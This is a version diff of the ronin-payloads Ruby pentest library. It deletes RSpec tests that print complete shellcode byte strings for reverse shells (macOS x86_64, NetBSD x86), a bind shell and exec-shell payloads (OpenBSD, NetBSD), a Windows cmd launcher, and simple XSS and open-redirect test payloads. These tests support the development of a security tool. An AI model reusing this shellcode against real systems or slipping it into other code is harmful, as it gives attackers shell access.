ronin-payloads 0.1.0.beta1 → 0.1.1

data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb

@@ -1,58 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell'
-
-describe Ronin::Payloads::Shellcode::MacOS::X86_64::ReverseShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/macos/x86_64/reverse_shell'" do
-      expect(subject.id).to eq('shellcode/macos/x86_64/reverse_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86_64" do
-      expect(subject.arch).to be(:x86_64)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :macos" do
-      expect(subject.os).to be(:macos)
-    end
-  end
-
-  let(:host) { '127.0.0.1' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x61\x4c\x89\xc0\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f\x05\x49\x89\xc4\x49\xbd\x01\x01\x05\x39\x7f\x00\x00\x01\x41\xb1\xff\x4d\x29\xcd\x41\x55\x49\x89\xe5\x49\xff\xc0\x4c\x89\xc0\x4c\x89\xe7\x4c\x89\xee\x48\x83\xc2\x10\x0f\x05\x49\x83\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb

@@ -1,46 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell'
-
-describe Ronin::Payloads::Shellcode::NetBSD::X86::ExecShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/netbsd/x86/exec_shell'" do
-      expect(subject.id).to eq('shellcode/netbsd/x86/exec_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :netbsd" do
-      expect(subject.os).to be(:netbsd)
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb

@@ -1,63 +0,0 @@
-# encoding: US-ASCII
-
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell'
-
-describe Ronin::Payloads::Shellcode::NetBSD::X86::ReverseShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/netbsd/x86/reverse_shell'" do
-      expect(subject.id).to eq('shellcode/netbsd/x86/reverse_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :netbsd" do
-      expect(subject.os).to be(:netbsd)
-    end
-  end
-
-  let(:host) { '127.0.0.1' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    let(:negated_ipv4) { "\x80\xff\xff\xfe" }
-    let(:negated_port) { "\xfa\xc6" }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x31\xc0\x31\xc9\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc3\x89\xe2\x49\x51\x51\x41\x68#{negated_ipv4}\x68\xff\xfd#{negated_port}\xb1\x10\x51\xf6\x12\x4a\xe2\xfb\xf6\x12\x52\x50\x50\xb0\x62\xcd\x80\xb1\x03\x49\x51\x41\x53\x50\xb0\x5a\xcd\x80\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x50\xb0\x3b\xcd\x80"
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb

@@ -1,58 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell'
-
-describe Ronin::Payloads::Shellcode::OpenBSD::X86::BindShell do
-  it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/openbsd/x86/bind_shell'" do
-      expect(subject.id).to eq('shellcode/openbsd/x86/bind_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :openbsd" do
-      expect(subject.os).to be(:openbsd)
-    end
-  end
-
-  let(:host) { 'example.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x31\xc9\x51\x41\x51\x41\x51\x51\x31\xc0\xb0\x61\xcd\x80\x89\x07\x31\xc9\x88\x4f\x04\xc6\x47\x05\x02\x89\x4f\x08\x66\xc7\x47\x06\x05\x39\x6a\x10\x8d\x47\x04\x50\x8b\x07\x50\x50\x31\xc0\xb0\x68\xcd\x80\x6a\x01\x8b\x07\x50\x50\x31\xc0\xb0\x6a\xcd\x80\x31\xc9\x51\x51\x8b\x07\x50\x50\x31\xc0\xb0\x1e\xcd\x80\x89\x07\x31\xc9\x51\x8b\x07\x50\x50\x31\xc0\xb0\x5a\xcd\x80\x41\x83\xf9\x03\x75\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x90".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb

@@ -1,46 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell'
-
-describe Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/openbsd/x86/exec_shell'" do
-      expect(subject.id).to eq('shellcode/openbsd/x86/exec_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :openbsd" do
-      expect(subject.os).to be(:openbsd)
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x54\x53\x53\x6a\x3b\x58\xcd\x80".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb

@@ -1,54 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/windows/x86_64/cmd'
-
-describe Ronin::Payloads::Shellcode::Windows::X86_64::CMD do
-  it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/windows/x86_64/cmd'" do
-      expect(subject.id).to eq('shellcode/windows/x86_64/cmd')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86_64" do
-      expect(subject.arch).to be(:x86_64)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :windows" do
-      expect(subject.os).to be(:windows)
-    end
-  end
-
-  describe ".os_version" do
-    subject { described_class }
-
-    it "must equal '7'" do
-      expect(subject.os_version).to eq('7')
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68\x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/test/open_redirect_spec.rb

@@ -1,24 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/test/open_redirect'
-
-describe Ronin::Payloads::Test::OpenRedirect do
-  it "must inherit from Ronin::Payloads::URLPayload" do
-    expect(described_class).to be < Ronin::Payloads::URLPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'test/open_redirect'" do
-      expect(subject.id).to eq('test/open_redirect')
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload to 'https://google.com/'" do
-      expect(subject.payload).to eq("https://google.com/")
-    end
-  end
-end

data/spec/builtin/test/xss_spec.rb

@@ -1,24 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/test/xss'
-
-describe Ronin::Payloads::Test::XSS do
-  it "must inherit from Ronin::Payloads::JavaScriptPayload" do
-    expect(described_class).to be < Ronin::Payloads::JavaScriptPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'test/xss'" do
-      expect(subject.id).to eq('test/xss')
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload to 'alert(1)'" do
-      expect(subject.payload).to eq("alert(1)")
-    end
-  end
-end

data/spec/c_payload_spec.rb

@@ -1,139 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/c_payload'
-
-describe Ronin::Payloads::CPayload do
-  it "must inherit from Ronin::Payloads::BinaryPayload" do
-    expect(described_class.superclass).to be(Ronin::Payloads::BinaryPayload)
-  end
-
-  describe ".cc" do
-    subject { described_class }
-
-    before do
-      @cc = ENV['CC']
-      ENV.delete('CC')
-    end
-
-    context "when ENV['CC'] is set" do
-      let(:cc) { 'gcc' }
-
-      before { ENV['CC'] = cc }
-
-      it "must return ENV['CC']" do
-        expect(subject.cc).to eq(cc)
-      end
-
-      after { ENV.delete('CC') }
-    end
-
-    context "when ENV['CC'] is not set" do
-      it "must return 'cc'" do
-        expect(subject.cc).to eq('cc')
-      end
-    end
-
-    after { ENV['CC'] = @cc if @cc }
-  end
-
-  describe "params" do
-    subject { described_class }
-
-    it "must define a :cc param" do
-      expect(subject.params[:cc]).to_not be_nil
-    end
-
-    it "must default the :cc param to #{described_class}.cc" do
-      expect(subject.params[:cc].default_value).to eq(subject.cc)
-    end
-  end
-
-  describe "#compile" do
-    let(:source_files) { %w[foo.c bar.c baz.c] }
-    let(:output)       { 'output' } 
-
-    it "must call system with params[:cc], the output and source files" do
-      expect(subject).to receive(:system).with(
-        subject.params[:cc],'-o',output,*source_files
-      ).and_return(true)
-
-      subject.compile(*source_files, output: output)
-    end
-
-    context "when the defs: keyword argument is given" do
-      context "and it's an Array" do
-        let(:def1) { 'foo' }
-        let(:def2) { 'bar=baz' }
-        let(:defs) { [def1, def2] }
-
-        it "must append the values with '-D' flags" do
-          expect(subject).to receive(:system).with(
-            subject.params[:cc],
-            '-o', output,
-            "-D#{def1}",
-            "-D#{def2}",
-            *source_files
-          ).and_return(true)
-
-          subject.compile(*source_files, output: output, defs: defs)
-        end
-      end
-
-      context "and it's a Hash" do
-        let(:name1)  { "foo" }
-        let(:value1) { "1"   }
-        let(:name2)  { "bar" }
-        let(:value2) { "2"   }
-
-        let(:def1) { "#{name1}=#{value1}" }
-        let(:def2) { "#{name2}=#{value2}" }
-        let(:defs) { {name1 => value1, name2 => value2} }
-
-        it "must append the values with '-D' flags" do
-          expect(subject).to receive(:system).with(
-            subject.params[:cc],
-            '-o', output,
-            "-D#{def1}",
-            "-D#{def2}",
-            *source_files
-          ).and_return(true)
-
-          subject.compile(*source_files, output: output, defs: defs)
-        end
-      end
-
-      context "but it's not an Array or a Hash" do
-        let(:defs) { Object.new }
-
-        it do
-          expect {
-            subject.compile(*source_files, output: output, defs: defs)
-          }.to raise_error(ArgumentError,"defs must be either an Array or a Hash: #{defs.inspect}")
-        end
-      end
-    end
-
-    context "when system() returns false" do
-      let(:source_file) { 'foo.go' }
-
-      it do
-        allow(subject).to receive(:system).and_return(false)
-
-        expect {
-          subject.compile(source_file, output: output)
-        }.to raise_error(Ronin::Payloads::BuildFailed,"cc command failed: #{subject.params[:cc]} -o #{output} #{source_file}")
-      end
-    end
-
-    context "when system() returns nil" do
-      let(:source_file) { 'foo.go' }
-
-      it do
-        allow(subject).to receive(:system).and_return(nil)
-
-        expect {
-          subject.compile(source_file, output: output)
-        }.to raise_error(Ronin::Payloads::BuildFailed,"cc command not installed")
-      end
-    end
-  end
-end

data/spec/cli/commands/show_spec.rb

@@ -1,21 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/cli/commands/show'
-
-require 'ronin/payloads/binary_payload'
-require 'ronin/payloads/asm_payload'
-require 'ronin/payloads/shellcode_payload'
-require 'ronin/payloads/c_payload'
-require 'ronin/payloads/java_payload'
-require 'ronin/payloads/javascript_payload'
-require 'ronin/payloads/node_js_payload'
-require 'ronin/payloads/shell_payload'
-require 'ronin/payloads/powershell_payload'
-require 'ronin/payloads/coldfusion_payload'
-require 'ronin/payloads/php_payload'
-require 'ronin/payloads/sql_payload'
-require 'ronin/payloads/html_payload'
-require 'ronin/payloads/xml_payload'
-require 'ronin/payloads/mixins/typescript'
-
-describe Ronin::Payloads::CLI::Commands::Show do
-end